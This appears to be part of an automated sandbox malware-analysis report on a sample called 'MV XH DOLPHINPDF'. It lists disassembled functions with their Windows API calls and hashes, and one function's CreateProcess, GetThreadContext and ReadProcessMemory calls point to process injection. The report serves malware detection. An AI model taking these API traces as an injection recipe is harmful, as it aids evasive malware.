Instruction Fuzzy Hash: 4ED05E7954030DABDB209B90EC0EF9A773CEB04700F0042A1BE94914A1DEF0A5D98B91

Function 000FCDF1 Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16497cbc8a012bd9f6d9c1f9cc66c1d5186f270f37c9adecf3f157dab8246c4c
Instruction ID: 76628e03b5fa6b0015c1a30c58117ccc43b581d937be80f12e4d79e719d6c861
Opcode Fuzzy Hash: 16497cbc8a012bd9f6d9c1f9cc66c1d5186f270f37c9adecf3f157dab8246c4c
Instruction Fuzzy Hash: 1EF14B719083059FC754EF28C484A6ABBE5FF88314F14892EF9999B352DB31E945CF82

Function 0008F8CF Relevance: 4.7, APIs: 3, Instructions: 168comCOMMON

Download Yara Rule

APIs

Part of subcall function 000A03A2: MapVirtualKeyW.USER32(0000005B,00000000), ref: 000A03D3
Part of subcall function 000A03A2: MapVirtualKeyW.USER32(00000010,00000000), ref: 000A03DB
Part of subcall function 000A03A2: MapVirtualKeyW.USER32(000000A0,00000000), ref: 000A03E6
Part of subcall function 000A03A2: MapVirtualKeyW.USER32(000000A1,00000000), ref: 000A03F1
Part of subcall function 000A03A2: MapVirtualKeyW.USER32(00000011,00000000), ref: 000A03F9
Part of subcall function 000A03A2: MapVirtualKeyW.USER32(00000012,00000000), ref: 000A0401

Part of subcall function 00096259: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,0008FA90), ref: 000962B4

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 0008FB2D
OleInitialize.OLE32(00000000), ref: 0008FBAA
CloseHandle.KERNEL32(00000000), ref: 000C49F2

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 72c36966dccc770e0ebfcbf22beb2e903be8bb4a4991c8700f477eae8b1fa2d7
Instruction ID: cfa450ee84631eb04bcfce2a71edbf251e37d719a63edd2f69d25da21bfbcca3
Opcode Fuzzy Hash: 72c36966dccc770e0ebfcbf22beb2e903be8bb4a4991c8700f477eae8b1fa2d7
Instruction Fuzzy Hash: F981CAF89043908ECB84EF79EA556957AF4FB9B71C318813A9018D7A72EB354485CF13

Function 000843DB Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00084401
Shell_NotifyIconW.SHELL32(00000000,?), ref: 000844A6
Shell_NotifyIconW.SHELL32(00000001,?), ref: 000844C3

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: e003838b26e50731334edc4346228bfc58409ec8ea3a62f022736d10050a3879
Instruction ID: 57a55228a7124a66a9bfeb1f75a4ace5725e3e76e21ec988ed00a66d3fcc67a2
Opcode Fuzzy Hash: e003838b26e50731334edc4346228bfc58409ec8ea3a62f022736d10050a3879
Instruction Fuzzy Hash: 1A3175B05057019FD760EF64D885B9BBBF4FB49308F00092EF5DA83651D7B5A984CB52

Function 000A594C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 000A5963

Part of subcall function 000AA3AB: __NMSG_WRITE.LIBCMT ref: 000AA3D2
Part of subcall function 000AA3AB: __NMSG_WRITE.LIBCMT ref: 000AA3DC

__NMSG_WRITE.LIBCMT ref: 000A596A

Part of subcall function 000AA408: GetModuleFileNameW.KERNEL32(00000000,001443BA,00000104,?,00000001,00000000), ref: 000AA49A
Part of subcall function 000AA408: ___crtMessageBoxW.LIBCMT ref: 000AA548

Part of subcall function 000A32DF: ___crtCorExitProcess.LIBCMT ref: 000A32E5
Part of subcall function 000A32DF: ExitProcess.KERNEL32 ref: 000A32EE

Part of subcall function 000A8D68: __getptd_noexit.LIBCMT ref: 000A8D68

RtlAllocateHeap.NTDLL(010D0000,00000000,00000001,00000000,?,?,?,000A1013,?), ref: 000A598F

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: e4ed8729f2bafaa2cbe1e67ef7b794de5d31129bea887701de89b4ccf3a67aa0
Instruction ID: 15233d35c29ca030c1a04968c016b8fcf5673c887c60ae1c0d3b928afbd10824
Opcode Fuzzy Hash: e4ed8729f2bafaa2cbe1e67ef7b794de5d31129bea887701de89b4ccf3a67aa0
Instruction Fuzzy Hash: 22018036200A15DEE6212BE4EC42BAF7399AF43772F11002AF501AE5D2DBB09D418761

Function 000E9B2C Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,000E97D2,?,?,?,?,?,00000004), ref: 000E9B45
SetFileTime.KERNELBASE(00000000,?,00000000,?,?,000E97D2,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 000E9B5B
CloseHandle.KERNEL32(00000000,?,000E97D2,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 000E9B62

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: e75bdc6c0cadebd141c24605e402235a74ff67b05f285151ee2d9bb2049460e2
Instruction ID: 8132b52571c124cde4a3dd88c58988e13b2b9fd1c0ddb58dc927cc22c68ff1ea
Opcode Fuzzy Hash: e75bdc6c0cadebd141c24605e402235a74ff67b05f285151ee2d9bb2049460e2
Instruction Fuzzy Hash: 71E08632180314BBD7312B54EC0AFCA7B58AB05B71F104124FB54794E087F125529798

Function 000E8F97 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 000E8FA5

Part of subcall function 000A2F95: RtlFreeHeap.NTDLL(00000000,00000000,?,000A9C64), ref: 000A2FA9
Part of subcall function 000A2F95: GetLastError.KERNEL32(00000000,?,000A9C64), ref: 000A2FBB

_free.LIBCMT ref: 000E8FB6
_free.LIBCMT ref: 000E8FC8

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7d3b2028e624efae88516297b2f19128b0b5a47fb3bf7ffb404a5919715f4e12
Instruction ID: 87a2a49fd6e03eb58d5b28ee114805001f4e59b436c644044a5d2cfddc0c68aa
Opcode Fuzzy Hash: 7d3b2028e624efae88516297b2f19128b0b5a47fb3bf7ffb404a5919715f4e12
Instruction Fuzzy Hash: 8EE012A17097414ECA64A5BDAD40BD357EE5F49350718083DF40DEB143DE24E8818228

Function 0008AB23 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 534COMMON

Download Yara Rule

Strings

CALL, xrefs: 000C002B

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: 8c19871232f0fe00df7659a7dd44a92de18d541314c304c8bb16b0b608154d2a
Instruction ID: c33fa92212d08578665fbb4a7eba5fc04037787f3373e32465702f7919b0bbdf
Opcode Fuzzy Hash: 8c19871232f0fe00df7659a7dd44a92de18d541314c304c8bb16b0b608154d2a
Instruction Fuzzy Hash: 25224A74608341CFDB24EF14C494B6ABBE1BF45300F15896DE89A8B762D775ED81CB82

Function 00084DD0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00084E1A

Strings

EA06, xrefs: 000BDCF5

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
Opcode ID: 62c7424b4b51ebf1ece05d750b03d0945432bf238713ce64d9ac0b387690ef50
Instruction ID: 5c754f13290aee93092bcd0c248534a4bc7daea279ecac09c9b75e9189f564ee
Opcode Fuzzy Hash: 62c7424b4b51ebf1ece05d750b03d0945432bf238713ce64d9ac0b387690ef50
Instruction Fuzzy Hash: 76415971A04659ABCF31BB648C917FE7FA6BB05300F684075FDC2AB283D6618D4487A1

Function 0008492E Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00084992

Part of subcall function 000A35AC: __lock.LIBCMT ref: 000A35B2
Part of subcall function 000A35AC: DecodePointer.KERNEL32(00000001,?,000849A7,000D81BC), ref: 000A35BE
Part of subcall function 000A35AC: EncodePointer.KERNEL32(?,?,000849A7,000D81BC), ref: 000A35C9

Part of subcall function 00084A5B: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00084A73
Part of subcall function 00084A5B: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00084A88

Part of subcall function 00083B4C: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00083B7A
Part of subcall function 00083B4C: IsDebuggerPresent.KERNEL32 ref: 00083B8C
Part of subcall function 00083B4C: GetFullPathNameW.KERNEL32(00007FFF,?,?,001462F8,001462E0,?,?), ref: 00083BFD
Part of subcall function 00083B4C: SetCurrentDirectoryW.KERNEL32(?), ref: 00083C81

SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 000849D2

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: 8cbb1ae68122bacc007fb1fae926b4ca7eb4c02eba84a160f397e0b8efc117dd
Instruction ID: de5ee524af4de517cd4a43a2a3296aaa95f174e775aecd8440fe818fd1c1bb76
Opcode Fuzzy Hash: 8cbb1ae68122bacc007fb1fae926b4ca7eb4c02eba84a160f397e0b8efc117dd
Instruction Fuzzy Hash: 89119D75908311ABC310EF68EC4595AFBE8FB9A750F00851EF085876B2DBB09589CB96

Function 00085DF9 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000,?,00085981,?,?,?,?), ref: 00085E27
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,?,00000000,?,00085981,?,?,?,?), ref: 000BE19C

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b89b5c3ee9018c04184fa1bbccd77d3327d76aa537bc47bdb45845fc64a8624d
Instruction ID: 6061c93b15ce237b262a22e226615b7e9b6d14241133f43da4d1be70a1d073bd
Opcode Fuzzy Hash: b89b5c3ee9018c04184fa1bbccd77d3327d76aa537bc47bdb45845fc64a8624d
Instruction Fuzzy Hash: F3017970244708BEF7786E24CC86FA637DCFB0576DF108319BAE55A1D0C6B45D498B54

Function 000A0FF6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000A594C: __FF_MSGBANNER.LIBCMT ref: 000A5963
Part of subcall function 000A594C: __NMSG_WRITE.LIBCMT ref: 000A596A
Part of subcall function 000A594C: RtlAllocateHeap.NTDLL(010D0000,00000000,00000001,00000000,?,?,?,000A1013,?), ref: 000A598F

std::exception::exception.LIBCMT ref: 000A102C
__CxxThrowException@8.LIBCMT ref: 000A1041

Part of subcall function 000A87DB: RaiseException.KERNEL32(?,?,?,0013BAF8,00000000,?,?,?,?,000A1046,?,0013BAF8,?,00000001), ref: 000A8830

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: 16f7f0e62b50af354ad062492d1598008d1ea1c407f1c865e2b5f1c327d7a581
Instruction ID: f250d48adaccb4a5f89a9c8a6fa149de44f5c7bd66dd248cadfd2576b31fd270
Opcode Fuzzy Hash: 16f7f0e62b50af354ad062492d1598008d1ea1c407f1c865e2b5f1c327d7a581
Instruction Fuzzy Hash: ABF0A43560421DA6CF25AAD8ED059DF77A89F02351F104425F804A6592EFF18AD08690

Function 000A582D Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 000A585C
__lock_file.LIBCMT ref: 000A587D

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: 94fbcdea97777e20a8562a6fe4229fac41d86094aa53315b2fb2b4c9e8fe34ba
Instruction ID: fff0c43b54b10cdc9932fd96765bae6092dad345cb52260f2f2e8e90437a4ef3
Opcode Fuzzy Hash: 94fbcdea97777e20a8562a6fe4229fac41d86094aa53315b2fb2b4c9e8fe34ba
Instruction Fuzzy Hash: E201A771C00609EBCF22AFE98C059DF7BB1BF46761F148215F8146B1A2EF358A21DB91

Function 000A55D6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000A8D68: __getptd_noexit.LIBCMT ref: 000A8D68

__lock_file.LIBCMT ref: 000A561B

Part of subcall function 000A6E4E: __lock.LIBCMT ref: 000A6E71

__fclose_nolock.LIBCMT ref: 000A5626

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 7c48444701e4bafab5c46487b0c3d603773158850f41575a1fbc9d669e4e77c2
Instruction ID: 7ccfef7dc3daa1e3a52977e97157610bcaf176d2d9de8f62fb9ba461735ade6e
Opcode Fuzzy Hash: 7c48444701e4bafab5c46487b0c3d603773158850f41575a1fbc9d669e4e77c2
Instruction Fuzzy Hash: 7FF0BE71800A059ADB20AFF98C027AE77E17F43336F69C219E424AB1C3CF7C8A019B55

Function 000881C1 Relevance: 2.6, APIs: 2, Instructions: 54COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000001,00000000,00000000,?,?,?,0008558F,?,?,?,?,?), ref: 000881DA
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000001,00000000,?,?,?,0008558F,?,?,?,?,?), ref: 0008820D

Part of subcall function 000878AD: _memmove.LIBCMT ref: 000878E9

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ByteCharMultiWide$_memmove
String ID:
API String ID: 3033907384-0
Opcode ID: 012e2fb74d8a2d1ca3d0dbf0ed0c3a78cfbb0363f5f4f9355c8aaaaf4d3c8f77
Instruction ID: 5c63c883e6d4314828edcdaf2517ae41ae671b7dc66a2aa917ebed00173c5c2d
Opcode Fuzzy Hash: 012e2fb74d8a2d1ca3d0dbf0ed0c3a78cfbb0363f5f4f9355c8aaaaf4d3c8f77
Instruction Fuzzy Hash: 6001AD31205104BFEB24BA25DD4AFBB7B6CEB8A760F10802AFD09CD191DE70D8418771

Function 01DD12FD Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 01DD1ABB
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 01DD1B51
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 01DD1B73

Memory Dump Source

Source File: 00000000.00000002.1990535950.0000000001DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1dd0000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 6ff7500a3617197a005732162d507dd4d37460c8dcbf147a4ae2be43d63b6423
Instruction ID: 55a2b98302f6fee8984f111789a6e694ffa08573f8e227d76a210c7e87b6008d
Opcode Fuzzy Hash: 6ff7500a3617197a005732162d507dd4d37460c8dcbf147a4ae2be43d63b6423
Instruction Fuzzy Hash: F212CD24E24658C6EB24DF64D8507DEB232EF68300F1091E9910DEB7A5E77A4F81CF5A

Function 00092123 Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7043d2b605a17f06220297de221223e93246435473559cf92f298fb74ccc54b7
Instruction ID: 39dbd7ac0691c4be4575c9f0ade2593b284be03a3d4a37eb580e6427bf127e8c
Opcode Fuzzy Hash: 7043d2b605a17f06220297de221223e93246435473559cf92f298fb74ccc54b7
Instruction Fuzzy Hash: 61513B35600604AFCF24EB68CD91FAE77E5AF45710F148068F986AB293DA31ED00DB51

Function 00085C4E Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,00000001,00000000,00000000,?,?,00000000), ref: 00085CF6

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: c31d53be58be973ede79594ba6b0bc6178e8016095370e755d297ac0c8070e56
Instruction ID: 94c93de3fc4d64631235ea143896a315076f8ddd169add894ab970e0d559601c
Opcode Fuzzy Hash: c31d53be58be973ede79594ba6b0bc6178e8016095370e755d297ac0c8070e56
Instruction Fuzzy Hash: AD313A71A00B19AFCB18EF2DC884AADB7B5FF48311F248629E85993710D771A960DB90

Function 000C00D6 Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 000C00E1

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 8dd68934f71e042e29b74276ddb4e2a0b36a1f1e60a8aacbd8fe6a84bff23a1f
